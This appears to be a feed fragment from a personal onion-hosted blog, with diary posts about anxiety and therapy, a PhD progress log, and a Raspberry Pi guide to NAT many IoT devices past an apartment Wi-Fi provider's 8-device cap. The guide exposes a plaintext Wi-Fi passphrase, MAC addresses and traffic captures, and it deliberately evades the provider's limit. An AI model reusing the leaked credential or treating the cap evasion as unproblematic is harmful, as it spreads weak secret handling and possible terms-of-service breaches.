    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    +
    + + How am I doing? + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/how_i_am_doing/ + Mon, 15 Dec 2025 08:27:13 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/how_i_am_doing/ + <p>This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I&rsquo;m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it&rsquo;s draining me. +Draining me of happiness, being in pursuit of happyness.</p> +<p>Idk what is wrong with me. Idk why I can&rsquo;t let go. I don&rsquo;t know why I need so much closure. Idk. I really don&rsquo;t. +What I know is that I&rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.</p> + This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I’m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it’s draining me. +Draining me of happiness, being in pursuit of happyness.

    +

    Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. +What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.

    +

    This “others” in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.

    +

    Idk what to do. I feel like I’m stuck in this life that I don’t like, with so much that I love. Does this even make sense? Idk. +I know I’m full of love, and I’m willing to give it to someone.

    +

    Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don’t know if I’m lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people’s hand, and how badly I could get hurt.

    +

    He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8
    +fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n
    +ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv
    +xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG
    +m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n
    +bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO
    +tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d
    +T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n
    ++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz
    +Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex
    +Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw=
    +=NPxh
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/how_I_am_doing.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/how_I_am_doing.md.asc
    +gpg --verify how_I_am_doing.md.asc how_I_am_doing.md
    +  
    +
    + + +]]>
    +
    + + Setting Boundries + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/setting_boundries/ + Thu, 04 Dec 2025 14:38:36 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/setting_boundries/ + <p>I was watching <a href="https://www.youtube.com/watch?v=MQzDMkeSzpw">this video</a> the other day. It&rsquo;s an interesting video imo. This is something I&rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?</p> +<p>Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other&rsquo;s respect. Naturally that evolved into me becoming a people please. A so called &ldquo;nice person&rdquo;. I&rsquo;ve even been made fun of with those words.</p> + I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?

    +

    Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words.

    +

    All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I’m broken. When people act cold with me, I assume they don’t like me. Then I want to fix things. Then I become annoying. I look like an “anxiously attached” person.

    +

    But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It’s sad, and it’s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.

    +

    So… I made a decision. To stay away from everyone. To make distance.

    +

    The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don’t want to lose. But it’s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?

    +

    The part I’m making mistake in is that everyone thinks something bad has happened. And they “probably” expect me to talk to them about it. Now this is the part I had to work on. The “setting boundry” part. I don’t know if I can do it respectfully or not. I know I will break if I talk.

    +

    I don’t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won’t regret any of these actions. I hope I can heal. I don’t know what will happen next, I just know that I don’t want to hangout in large groups for a while. I don’t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won’t turn into an incel. I know I won’t. I know I push through. I know…

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM
    +jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo
    +7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2
    +HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/
    +v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv
    +Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr
    +vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c
    ++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s
    +EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf
    +OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ
    +oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE
    +CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos=
    +=oJ5s
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/setting_boundries.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/setting_boundries.md.asc
    +gpg --verify setting_boundries.md.asc setting_boundries.md
    +  
    +
    + + +]]>
    +
    + + November '25 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/november_2025/ + Sun, 30 Nov 2025 07:53:40 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/november_2025/ + <h1 id="4th">4th</h1> +<p>Again, let&rsquo;s setup some goals for the month.</p> +<ul> +<li>Literature review</li> +<li>Keeping up with my coursework</li> +<li>Working on my codebase</li> +<li>Getting healthier diet and excercise-wise</li> +</ul> +<h1 id="30th">30th</h1> +<p>I did a bit of literature review, it&rsquo;s still lacking unfortunately.</p> +<p>Coursework is ok-ish. I&rsquo;ve been trying to work on assignements and understand them.</p> +<p>I rewrote the whole codebase, now we have a modularized design that should be easier to add to.</p> +<p>I&rsquo;ve been eating more and more healthy, excercise is still lacking. I&rsquo;ll get to that later.</p> + 4th +

    Again, let’s setup some goals for the month.

    +
      +
    • Literature review
    • +
    • Keeping up with my coursework
    • +
    • Working on my codebase
    • +
    • Getting healthier diet and excercise-wise
    • +
    +

    30th

    +

    I did a bit of literature review, it’s still lacking unfortunately.

    +

    Coursework is ok-ish. I’ve been trying to work on assignements and understand them.

    +

    I rewrote the whole codebase, now we have a modularized design that should be easier to add to.

    +

    I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp
    +HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB
    +A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk
    ++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu
    +j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP
    +CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz
    +mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb
    +CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64
    +P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm
    +Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8
    +1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo=
    +=F8i0
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/November_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/November_2025.md.asc
    +gpg --verify November_2025.md.asc November_2025.md
    +  
    +
    + + +]]>
    +
    + + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. + The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
